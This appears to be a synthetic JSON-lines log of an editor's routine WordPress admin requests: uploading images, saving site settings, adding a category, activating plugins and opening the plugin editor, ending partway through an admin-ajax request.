{"method": "POST", "target": "/wp-json/wp/v2/media?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 417", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPj3tR1NjEw5stIqA", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "------WebKitFormBoundaryPj3tR1NjEw5stIqA\r\nContent-Disposition: form-data; name=\"file\"; filename=\"my passwd reset.png\"\r\nContent-Type: image/png\r\n\r\nimage data\r\n------WebKitFormBoundaryPj3tR1NjEw5stIqA\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nBob's picture\r\n------WebKitFormBoundaryPj3tR1NjEw5stIqA\r\nContent-Disposition: form-data; name=\"alt_text\"\r\n\r\na small picture\r\n------WebKitFormBoundaryPj3tR1NjEw5stIqA--\r\n"}
{"method": "POST", "target": "/wp-json/wp/v2/media/20?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 53", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "{\"caption\":\"A caption\",\"description\":\"A description\"}"}
{"method": "GET", "target": "/wp-admin/media-new.php?browser-uploader", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": ""}
{"method": "POST", "target": "/wp-admin/async-upload.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 778", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFjx3GBevQOAuXrl5", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/media-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203310"], "body": "------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nscan-01.png\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"post_id\"\r\n\r\n0\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"_wpnonce\"\r\n\r\n87ab0e0dbf\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"type\"\r\n\r\n\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"tab\"\r\n\r\n\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"short\"\r\n\r\n1\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"async-upload\"; filename=\"scan-01.png\"\r\nContent-Type: image/png\r\n\r\nimage data\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5--\r\n"}
{"method": "POST", "target": "/wp-admin/async-upload.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 24", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/media-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203310"], "body": "attachment_id=21&fetch=3"}
{"method": "GET", "target": "/wp-content/uploads/2026/11/scan-01.png", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/media-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203310"], "body": ""}
{"method": "GET", "target": "/wp-content/uploads/2026/11/holiday-photo.png", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203317"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?item=6", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203317"], "body": ""}
{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 472", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-general.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203324"], "body": "option_page=general&action=update&_wpnonce=d9d12950f3&_wp_http_referer=%2Fwp-admin%2Foptions-general.php&blogname=Example+Blog&blogdescription=Bob%27s+words+%26+thoughts&site_icon=0&siteurl=http%3A%2F%2Fblog.example&home=http%3A%2F%2Fblog.example&new_admin_email=editor1%40example.com&default_role=subscriber&WPLANG=&timezone_string=UTC%2B0&date_format=F+j%2C+Y&date_format_custom=F+j%2C+Y&time_format=g%3Ai+a&time_format_custom=g%3Ai+a&start_of_week=1&submit=Save+Changes"}
{"method": "GET", "target": "/wp-admin/options-general.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-general.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203324"], "body": ""}
{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 197", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-reading.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203326"], "body": "option_page=reading&action=update&_wpnonce=1872e80cc5&_wp_http_referer=%2Fwp-admin%2Foptions-reading.php&show_on_front=posts&posts_per_page=12&posts_per_rss=10&rss_use_excerpt=0&submit=Save+Changes"}
{"method": "GET", "target": "/wp-admin/options-reading.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-reading.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203326"], "body": ""}
{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 616", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-discussion.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203328"], "body": "option_page=discussion&action=update&_wpnonce=1ac818c98b&_wp_http_referer=%2Fwp-admin%2Foptions-discussion.php&default_pingback_flag=1&default_ping_status=open&default_comment_status=open&require_name_email=1&close_comments_days_old=14&show_comments_cookies_opt_in=1&thread_comments=1&thread_comments_depth=5&comments_per_page=50&default_comments_page=newest&comment_order=asc&comments_notify=1&moderation_notify=1&wp_notes_notify=1&comment_previously_approved=1&comment_max_links=2&moderation_keys=buy+now%0D%0Acheap+watches&disallowed_keys=&show_avatars=1&avatar_rating=G&avatar_default=mystery&submit=Save+Changes"}
{"method": "GET", "target": "/wp-admin/options-discussion.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-discussion.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203328"], "body": ""}
{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 283", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-media.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203330"], "body": "option_page=media&action=update&_wpnonce=fe10b63129&_wp_http_referer=%2Fwp-admin%2Foptions-media.php&thumbnail_size_w=160&thumbnail_size_h=150&thumbnail_crop=1&medium_size_w=300&medium_size_h=300&large_size_w=1024&large_size_h=1024&uploads_use_yearmonth_folders=1&submit=Save+Changes"}
{"method": "GET", "target": "/wp-admin/options-media.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-media.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203330"], "body": ""}
{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 339", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-writing.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203332"], "body": "option_page=writing&action=update&_wpnonce=1e8037a08d&_wp_http_referer=%2Fwp-admin%2Foptions-writing.php&default_category=1&default_post_format=0&mailserver_url=mail.example.com&mailserver_port=110&mailserver_login=login%40example.com&mailserver_pass=&default_email_category=1&ping_sites=https%3A%2F%2Fexample.org%2Frpc&submit=Save+Changes"}
{"method": "GET", "target": "/wp-admin/options-writing.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-writing.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203332"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 226", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=category", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203334"], "body": "action=add-tag&screen=edit-category&taxonomy=category&post_type=post&_wpnonce_add-tag=f99019c9ad&_wp_http_referer=%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dcategory&tag-name=Food+%26+Drink&slug=food-drink&parent=-1&description="}
{"method": "GET", "target": "/wp-admin/plugins.php?action=activate&plugin=akismet%2Fakismet.php&plugin_status=all&paged=1&s&_wpnonce=8b9b53e587", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203337"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?activate=true&plugin_status=all&paged=1&s=", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203337"], "body": ""}
{"method": "GET", "target": "/wp-admin/options-general.php?page=akismet-key-config&view=start", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203339"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?action=activate&plugin=hello.php&plugin_status=all&paged=1&s&_wpnonce=5f6bf67faf", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203339"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=hello.php&file=hello.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203340"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 54", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-editor.php?plugin=hello.php&file=hello.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; 